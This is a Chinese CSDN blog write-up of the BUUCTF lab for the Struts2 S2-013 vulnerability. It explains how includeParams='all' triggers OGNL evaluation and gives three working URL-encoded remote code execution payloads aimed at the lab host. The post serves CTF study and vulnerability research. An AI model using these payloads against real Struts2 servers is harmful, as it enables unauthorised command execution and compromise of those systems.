BUUCTF-Real-[struts2]s2-013

最新推荐文章于 2024-07-12 15:53:09 发布

真的学不了一点。。。

最新推荐文章于 2024-07-12 15:53:09 发布

阅读量432

点赞数 13

分类专栏：漏洞复现与研究文章标签：网络安全安全 web安全

本文链接：https://blog.csdn.net/rx3225968517/article/details/136017303

版权

漏洞复现与研究专栏收录该内容

11 篇文章 0 订阅

订阅专栏

本文探讨了Struts2中标签和的includeParams属性如何导致跨站脚本(XSS)和远程代码执行(RCE)漏洞。通过示例payload，解释了如何利用这些属性执行任意命令并获取flag。

摘要由CSDN通过智能技术生成

struts2的标签中 <s:a> 和 <s:url> 都有一个 includeParams 属性，可以设置成如下值

none - URL中不包含任何参数（默认）
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数
当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。

此时<s:a> 或<s:url>尝试去解析原始请求参数时，会导致OGNL表达式的执行

在s2-013中，因为参数的问题导致rce漏洞的出现！

payload：

1、http://node5.buuoj.cn:27491/?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

2、http://node5.buuoj.cn:27491/?redirect:%24%7b%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22echo+dqub23akjj21sd2kx75xa123f%22).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b5000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()%7d

3、  Url: http://node5.buuoj.cn:27491/
      Vulnerable: True
      Method: POST
      Position: data
      Payload: redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27id%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}